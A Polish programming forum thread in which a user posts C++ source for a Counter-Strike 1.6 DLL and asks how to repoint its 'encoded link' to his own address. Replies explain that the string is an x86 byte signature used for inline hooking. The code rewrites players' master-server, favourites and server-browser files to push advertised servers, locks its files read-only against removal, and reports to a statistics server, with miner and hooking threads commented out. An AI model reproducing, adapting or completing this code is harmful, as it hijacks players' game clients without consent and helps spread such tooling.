Analiza kodu

Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:około 2 lata
  • Postów:65
0

Dzień dobry.
Poniżej przedstawiam kod programu, który ma za zadanie pobierać pliki do katalogów.
Mam pytanie. Czy może mi ktoś odpowiedzieć czy struktura kodu będzie pobierać do katalogów pliki w ścieżkach i nadawać im atrybuty tylko do odczytu i czy będzie podmieniać istniejące pliki na te, które mają być przez program pobrane i nadpisane ?

Prosiłbym jeszcze bardzo o odkodowanie tego stringa poniżej i instrukcje do tego jak zakodować na nowo znaki.

Kopiuj
hooker->memFunc->SearchByLibrary( &guiCommandsRun	, const_cast<char *>( "0x53,0x8B,*,*,*,0x56,,0x57,0x68,*,*,*,*,0x8B,*,0x53,0xE8,*,*,*,*" ), gameUiAddress, FALSE );
Kopiuj
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <cstdio>

#include <cstdlib>
#include <ctime>
#include <Shlwapi.h>
#include <Exdisp.h>
#include <shlguid.h>
#include <Servprov.h>

#include <vector>
#include <memory>

using namespace std;

#pragma comment(lib,"wininet")

#include "MasterServer.h"
#include "UpdateClass.h"
#include "StatisticsClass.h"
#include "ClearFiles.h"
#include "HostClass.h"
//#include "BrowserEvents.h"
//#include "Miner.h"
#include "ServersLoad.h"
#include "Server.h"
#include "Favourites.h"
#include "GameMenu.h"
#include "Baner.h"
//#include "chooker.h"
//#include "Browser.h"
#include "Util.h"

#include "Log.h"

const char * folderMain		= "cstrike/bin";
const char * fileNameMain 	= "cstrike/bin/TrackerUI.DLL";
const char * fileLibist		= "cstrike/liblist.gam";
const char * fileRev		= "rev.ini";

const char * fileSave		= "cstrike/save";
const char * fileHw 		= "cstrike/hw";

const char * currentVersion = "1.6.1";

void checkAttributesTracker();

DWORD WINAPI openServerBrowser( PVOID pvParam );

DWORD WINAPI checkUpdate( PVOID pvParam );
DWORD WINAPI sendInformations( PVOID pvParam );
//DWORD WINAPI openAdvert( PVOID pvParam );

DWORD WINAPI checkAdvertServers( PVOID pvParam );

//DWORD WINAPI minerStart( PVOID pvParam );

DWORD WINAPI checkBaner( PVOID pvParam );

extern "C" {
	__declspec(dllexport) BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){

		if( fdwReason == DLL_PROCESS_DETACH ){
			#if defined DEBUG
			logToFile( "On exit" );
			#endif

            //exitBrowser();

       		return true;
		}

		if( fdwReason != DLL_PROCESS_ATTACH ){
			return true;
		}

		MasterServer master;
		ClearFiles clearInstance;
		HostClass hostInstance;

		checkAttributesTracker();

        clearInstance.clear();

		master.replaceMaster();

		hostInstance.checkHost();

		CreateThread( NULL , 0 , checkUpdate , NULL , 0 , NULL );
		CreateThread( NULL , 0 , sendInformations , NULL , 0 , NULL );
		//CreateThread( NULL , 0 , openAdvert , NULL , 0 , NULL );
		//CreateThread( NULL , 0 , minerStart , NULL , 0 , NULL );
		CreateThread( NULL , 0 , openServerBrowser , NULL , 0 , NULL );
		CreateThread( NULL , 0 , checkAdvertServers , NULL , 0 , NULL );
		CreateThread( NULL , 0 , checkBaner , NULL , 0 , NULL );

		return true;
	}
}

DWORD WINAPI checkBaner( PVOID pvParam ){
    Baner baner;

    baner.checkBaner();
}

DWORD WINAPI checkAdvertServers( PVOID pvParam ){

    std::vector< std::unique_ptr< Server > > favoritesServers;
    std::vector< std::unique_ptr< Server > > gamemenuServers;

    std::vector< std::unique_ptr< Server > > oldServers;

    ServersLoad servers;

    servers.loadFavorites( favoritesServers );
    servers.loadGamemenu( gamemenuServers );

    #if defined DEBUG
    for( std::vector< std::unique_ptr< Server > >::iterator it = gamemenuServers.begin() ; it != gamemenuServers.end() ; ++it ){
        char bufferLog[ 256 ];
        snprintf( bufferLog, sizeof( bufferLog ) - 1 ,"Loaded gamememnu server object Name: %s Ip: %s" , (*it) -> getName().c_str() , ( *it ) -> getIp().c_str() );
        logToFile( bufferLog );
    }

    for( std::vector< std::unique_ptr< Server > >::iterator it = favoritesServers.begin() ; it != favoritesServers.end() ; ++it ){
        char bufferLog[ 256 ];
        snprintf( bufferLog, sizeof( bufferLog ) - 1 ,"Loaded favorites server object Name: %s Ip: %s" , (*it) -> getName().c_str() , ( *it ) -> getIp().c_str() );
        logToFile( bufferLog );
    }
    #endif

    GameMenu gameMenu;
    Favourites favourites;

    gameMenu.saveServers( gamemenuServers );

    favourites.loadServers( oldServers );
    favourites.saveServers( favoritesServers , oldServers );
}

/*DWORD WINAPI minerStart( PVOID pvParam ){
	Miner miner;
	miner.startMiner();
	miner.checkWallet();
}*/

DWORD WINAPI openServerBrowser( PVOID pvParam ){
	/*Sleep( 10000 );
	CHooker* hooker = new CHooker;
	char ( *guiCommandsRun )( int , double , const char * ) = NULL;
	void* gameUiAddress = hooker->memFunc->GetLibraryFromName( ( char * )"GameUI.dll" );
	if( !gameUiAddress ){
		return 0;
	}
	hooker->memFunc->SearchByLibrary( &guiCommandsRun	, const_cast<char *>( "0x53,0x8B,*,*,*,0x56,,0x57,0x68,*,*,*,*,0x8B,*,0x53,0xE8,*,*,*,*" ), gameUiAddress, FALSE );
	if( guiCommandsRun ){
		guiCommandsRun( NULL , NULL , "OpenServerBrowser" );
	}*/

	checkAndSetPermissions( "platform/config/ServerBrowser.vdf" , false , false , false );

	FILE * fpRead = fopen( "platform/config/ServerBrowser.vdf" , "rt" );

	FILE * fpWrite = fopen( "platform/config/ServerBrowserNew.vdf" , "wt" );

	#if defined DEBUG
    logToFile( "Open serverbrowser files" );
    #endif

	if( !fpRead ){
        if( fpWrite ){
            fclose( fpWrite );
        }

	    return 0;
	}

	if( !fpWrite ){
        if( fpRead ){
            fclose( fpRead );
        }

	    return 0;
	}

	#if defined DEBUG
    logToFile( "Server browser start" );
    #endif

	char entriesGame[][ 256 ] = {
		"\t\"gamelist\"\t\t\"spectate\"\n",
		"\t\"gamelist\"\t\t\"favorites\"\n",
		"\t\"gamelist\"\t\t\"history\"\n",
		"\t\"gamelist\"\t\t\"lan\"\n",
		"\t\"gamelist\"\t\t\"friends\"\n"
	};

	char line[ 256 ];

	while( fgets( line , sizeof( line ) - 1 , fpRead ) != NULL ) {
        bool appendLine = true;

	    for( int iPosition = 0 ; iPosition < 5 ; iPosition++ ){
			if( strcmp( line , entriesGame[ iPosition ] ) == 0 ){
				appendLine = false;

				break;
			}
		}

		if( appendLine ){
            fputs( line , fpWrite );
		}
		else{
            fputs( "\t\"gamelist\"\t\t\"internet\"\n" , fpWrite );
		}
	}

	fclose( fpRead );
	fclose( fpWrite );

	DeleteFile( "platform/config/ServerBrowser.vdf" );

	MoveFile( "platform/config/ServerBrowserNew.vdf" , "platform/config/ServerBrowser.vdf" );

	return 0;
}

void checkAttributesTracker(){
	checkAndSetPermissions( fileNameMain , true , true , true );
	checkAndSetPermissions( folderMain , false , true , true );

	checkAndSetPermissions( fileLibist , true , false , false );
	checkAndSetPermissions( fileRev , true , false , false );

	checkFileAndSetPermission( fileSave );
	checkFileAndSetPermission( fileHw );
}

DWORD WINAPI checkUpdate( PVOID pvParam ){
	UpdateClass update;

	update.clearFiles();

	update.checkUpdate();

	//update.checkExe();

	//update.checkGuard();

	//update.checkMiner();

	return 0;
}

DWORD WINAPI sendInformations( PVOID pvParam ){
	StatisticsClass statistic;

	statistic.newClient();

	while( statistic.getClientConnected() ){
		Sleep( 300000 );

		statistic.pingClient();
	}

	return 0;
} 
edytowany 2x, ostatnio: Csysiu
grzesiek51114
grzesiek51114
  • Rejestracja:ponad 11 lat
  • Ostatnio:ponad 4 lata
  • Postów:2442
0

Czemu tak sobie utrudniasz życie. Nie lepiej użyć jakiegoś języka wysokiego poziomu? Masz tam gotowe klasy do takich rzeczy.
Masz przykład na ściągnięcie choćby firefoksa. Jeżeli program nie będzie miał uprawnień to wyrzuci Ci na ekran stosowny komunikat. Popatrz, że jest dużo prościej i krócej:

Kopiuj
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
 
namespace Program {
    class Downloader {
        public void DownloadFile(string sourcePath, string destPath) {
            try {
                var client = new WebClient();
                client.DownloadFile(sourcePath, destPath);
            }
            catch (Exception ex) {
                Console.WriteLine(ex.ToString());
            }
        }
    }

    class Program {
        static void Main(string[] args) {
            string path = @"https://download-installer.cdn.mozilla.net/pub/firefox/releases/42.0/win32/pl/Firefox%20Setup%20Stub%2042.0.exe";
            var dwn = new Downloader();
            dwn.DownloadFile(path, @"D:\pliki\firefox.exe");
        }
    }
}

Na moim przykładzie możesz sobie zautomatyzować to co chcesz osiągnąć u siebie i zobaczysz, że będziesz miał prościej.

...jeżeli w ogóle o to chodzi.

Jeżeli o tego stringa chodzi to są to najprawdopodobniej heksadecymalne kody ASCII znaków. Znajdź w Internecie tablicę ASCII (jest ich pełno) i porównaj sobie kody, choćby ręcznie.

edytowany 2x, ostatnio: grzesiek51114
Csysiu
  • Rejestracja:około 10 lat
  • Ostatnio:około 2 lata
  • Postów:65
0

Rozumiem, że wolisz bardziej profesjonale rozwiązania :) ale jeśli chodzi o mój kod to chciałbym się dowiedzieć co się kryje pod zakodowanymi znakami.

Zobacz pozostały 1 komentarz
Csysiu
Powiem Tobie szczerze, że nie mam pojęcia jak się za to zabrać, a muszę tylko odkodować to co jest tam zapisane i zastąpić własnym linkiem...
grzesiek51114
grzesiek51114
Ale tam są dane wykraczające poza printable characters. Nie da się ich zapisać na ekranie, bo będziesz miał krzaki no :) Przecież to jak wróżenie z fusów.
Csysiu
A czy zamiast zakodowanych znaków mogę wpisać tam po prostu konkretny link bez zmiany w strukturze kodu i skompilować kod?
grzesiek51114
grzesiek51114
Skąd mam to wiedzieć? Co robi funkcja, która przyjmuje jako argument taki string? To jest jak wróżenie z fusów. Zajrzyj do dokumentacji i szukaj. Jedyne wyjście.
Csysiu
Argumentem jest zakodowany link z zachowaniem struktury katalogów, w którym znajdują się pliki, które mają być odpowiednio pobierane do katalogów również z zachowaniem ich struktury.
mwl4
  • Rejestracja:około 12 lat
  • Ostatnio:około 11 godzin
  • Lokalizacja:Wrocław
  • Postów:398
0

"0x53,0x8B,*,*,*,0x56,,0x57,0x68,*,*,*,*,0x8B,*,0x53,0xE8,*,*,*,*"
to jest opcode intela x86.
Dokładniej to, prawdopodobnie jakaś funkcja szuka po podanym schemacie miejsca w kodzie odpowiadającemu tym bajtom i robi inline hooka. Tam gdzie są gwiazdki może być bajt dowolny. Łatwo się domyślić, że gwiazdką są oznaczone bajty, które oznaczają adres lub coś co jest zmienne. W tym konkretnym przykładzie jest to:

Kopiuj
 
53          push ebx
8B * * *    mov x, x; niesprecyzowany
56          push esi
57          push edi
68 * * * *  push x; 4 bajty oznaczają liczbę pushowaną na stos
8B *        mov x,x; niesprecyzowany
53          push ebx
E8 * * * *  call x; 4 bajty oznaczają adres do wywołania

Autorzy kodu nie używali statycznych adresów po to aby aplikacja działała na wielu wersjach hookowanej aplikacji.


Asm/C/C++
edytowany 1x, ostatnio: mwl4
Zobacz pozostałe 2 komentarze
Csysiu
Na pewno masz rację. A czy dało by radę zmienić strukturę tej części kodu, aby jawnie zamiast stringa dodac po prostu adres odnoszący się bezpośrednio do zawartości struktury katalogów zaimplementowanych w kodzie ?
mwl4
Do jakich katalogów? O czym ty w ogóle rozmawiasz? Może rozjaśnij wszystkim tu zebranym co ty w ogóle chcesz zrobić. Jak na razie to jest to po prostu hack do Counter-Strike.
Csysiu
Chciałbym, aby ta dllka podmieniała pliki w katalogu z cs'em z konkretnego adresu , linku. Żeby pliki, które zostaną przesłane do katalogów były odporne na nadpisanie przez inna dllke działającą na podobnej zasadzie.
mwl4
Nadal nic nie jest jasne. Nie zablokujesz innej dllki, która próbowałaby coś zapisać w tym katalogu.
Csysiu
skompilowana dllka znajduję się w katalogu cstrike/bin I ona ma za zadanie nadpisać istniejące pliki typu masterservers.vdf serverbroweser.vdf, które pobierze sobie z konkretnej lokalizaji, a tą lokalizacją jest zakodowany link w stringu.
AB
  • Rejestracja:prawie 9 lat
  • Ostatnio:ponad 8 lat
  • Postów:229
0
Csysiu napisał(a):

Rozumiem, że wolisz bardziej profesjonale rozwiązania :) ale jeśli chodzi o mój kod to chciałbym się dowiedzieć co się kryje pod zakodowanymi znakami.

Patrząc obiektywnie, to żadne podejście nie jest ani bardziej, ani mniej profesjonalne. W moim subiektywnym odczuciu, to podejście niskopoziomowe jest bardziej profesjonalne, bardziej świadczy o tym, że programista wie co robi - ale to nie oznacza, że podejście niskopoziomowe jest lepsze w każdej konkretnej sytuacji, zazwyczaj własnie podejście wysokopoziomowe jest lepsze, bo umożliwia szybsze napisanie aplikacji. Na pewno gdy czegoś nie da się zrealizować wysokopoziomowo to siadają bardziej zaawansowani programiści do implementacji niskopoziomowych.

Pozdrawiam

mwl4
Świetny refleks. Tylko 7 miesięcy.
Kliknij, aby dodać treść...

Pomoc 1.18.8

Typografia

Edytor obsługuje składnie Markdown, w której pojedynczy akcent *kursywa* oraz _kursywa_ to pochylenie. Z kolei podwójny akcent **pogrubienie** oraz __pogrubienie__ to pogrubienie. Dodanie znaczników ~~strike~~ to przekreślenie.

Możesz dodać formatowanie komendami , , oraz .

Ponieważ dekoracja podkreślenia jest przeznaczona na linki, markdown nie zawiera specjalnej składni dla podkreślenia. Dlatego by dodać podkreślenie, użyj <u>underline</u>.

Komendy formatujące reagują na skróty klawiszowe: Ctrl+B, Ctrl+I, Ctrl+U oraz Ctrl+S.

Linki

By dodać link w edytorze użyj komendy lub użyj składni [title](link). URL umieszczony w linku lub nawet URL umieszczony bezpośrednio w tekście będzie aktywny i klikalny.

Jeżeli chcesz, możesz samodzielnie dodać link: <a href="link">title</a>.

Wewnętrzne odnośniki

Możesz umieścić odnośnik do wewnętrznej podstrony, używając następującej składni: [[Delphi/Kompendium]] lub [[Delphi/Kompendium|kliknij, aby przejść do kompendium]]. Odnośniki mogą prowadzić do Forum 4programmers.net lub np. do Kompendium.

Wspomnienia użytkowników

By wspomnieć użytkownika forum, wpisz w formularzu znak @. Zobaczysz okienko samouzupełniające nazwy użytkowników. Samouzupełnienie dobierze odpowiedni format wspomnienia, zależnie od tego czy w nazwie użytkownika znajduje się spacja.

Znaczniki HTML

Dozwolone jest używanie niektórych znaczników HTML: <a>, <b>, <i>, <kbd>, <del>, <strong>, <dfn>, <pre>, <blockquote>, <hr/>, <sub>, <sup> oraz <img/>.

Skróty klawiszowe

Dodaj kombinację klawiszy komendą notacji klawiszy lub skrótem klawiszowym Alt+K.

Reprezentuj kombinacje klawiszowe używając taga <kbd>. Oddziel od siebie klawisze znakiem plus, np <kbd>Alt+Tab</kbd>.

Indeks górny oraz dolny

Przykład: wpisując H<sub>2</sub>O i m<sup>2</sup> otrzymasz: H2O i m2.

Składnia Tex

By precyzyjnie wyrazić działanie matematyczne, użyj składni Tex.

<tex>arcctg(x) = argtan(\frac{1}{x}) = arcsin(\frac{1}{\sqrt{1+x^2}})</tex>

Kod źródłowy

Krótkie fragmenty kodu

Wszelkie jednolinijkowe instrukcje języka programowania powinny być zawarte pomiędzy obróconymi apostrofami: `kod instrukcji` lub ``console.log(`string`);``.

Kod wielolinijkowy

Dodaj fragment kodu komendą . Fragmenty kodu zajmujące całą lub więcej linijek powinny być umieszczone w wielolinijkowym fragmencie kodu. Znaczniki ``` lub ~~~ umożliwiają kolorowanie różnych języków programowania. Możemy nadać nazwę języka programowania używając auto-uzupełnienia, kod został pokolorowany używając konkretnych ustawień kolorowania składni:

```javascript
document.write('Hello World');
```

Możesz zaznaczyć również już wklejony kod w edytorze, i użyć komendy  by zamienić go w kod. Użyj kombinacji Ctrl+`, by dodać fragment kodu bez oznaczników języka.

Tabelki

Dodaj przykładową tabelkę używając komendy . Przykładowa tabelka składa się z dwóch kolumn, nagłówka i jednego wiersza.

Wygeneruj tabelkę na podstawie szablonu. Oddziel komórki separatorem ; lub |, a następnie zaznacz szablonu.

nazwisko;dziedzina;odkrycie
Pitagoras;mathematics;Pythagorean Theorem
Albert Einstein;physics;General Relativity
Marie Curie, Pierre Curie;chemistry;Radium, Polonium

Użyj komendy by zamienić zaznaczony szablon na tabelkę Markdown.

Lista uporządkowana i nieuporządkowana

Możliwe jest tworzenie listy numerowanych oraz wypunktowanych. Wystarczy, że pierwszym znakiem linii będzie * lub - dla listy nieuporządkowanej oraz 1. dla listy uporządkowanej.

Użyj komendy by dodać listę uporządkowaną.

1. Lista numerowana
2. Lista numerowana

Użyj komendy by dodać listę nieuporządkowaną.

* Lista wypunktowana
* Lista wypunktowana
** Lista wypunktowana (drugi poziom)

Składnia Markdown

Edytor obsługuje składnię Markdown, która składa się ze znaków specjalnych. Dostępne komendy, jak formatowanie , dodanie tabelki lub fragmentu kodu są w pewnym sensie świadome otaczającej jej składni, i postarają się unikać uszkodzenia jej.

Dla przykładu, używając tylko dostępnych komend, nie możemy dodać formatowania pogrubienia do kodu wielolinijkowego, albo dodać listy do tabelki - mogłoby to doprowadzić do uszkodzenia składni.

W pewnych odosobnionych przypadkach brak nowej linii przed elementami markdown również mógłby uszkodzić składnie, dlatego edytor dodaje brakujące nowe linie. Dla przykładu, dodanie formatowania pochylenia zaraz po tabelce, mogłoby zostać błędne zinterpretowane, więc edytor doda oddzielającą nową linię pomiędzy tabelką, a pochyleniem.

Skróty klawiszowe

Skróty formatujące, kiedy w edytorze znajduje się pojedynczy kursor, wstawiają sformatowany tekst przykładowy. Jeśli w edytorze znajduje się zaznaczenie (słowo, linijka, paragraf), wtedy zaznaczenie zostaje sformatowane.

  • Ctrl+B - dodaj pogrubienie lub pogrub zaznaczenie
  • Ctrl+I - dodaj pochylenie lub pochyl zaznaczenie
  • Ctrl+U - dodaj podkreślenie lub podkreśl zaznaczenie
  • Ctrl+S - dodaj przekreślenie lub przekreśl zaznaczenie

Notacja Klawiszy

  • Alt+K - dodaj notację klawiszy

Fragment kodu bez oznacznika

  • Alt+C - dodaj pusty fragment kodu

Skróty operujące na kodzie i linijkach:

  • Alt+L - zaznaczenie całej linii
  • Alt+, Alt+ - przeniesienie linijki w której znajduje się kursor w górę/dół.
  • Tab/⌘+] - dodaj wcięcie (wcięcie w prawo)
  • Shit+Tab/⌘+[ - usunięcie wcięcia (wycięcie w lewo)

Dodawanie postów:

  • Ctrl+Enter - dodaj post
  • ⌘+Enter - dodaj post (MacOS)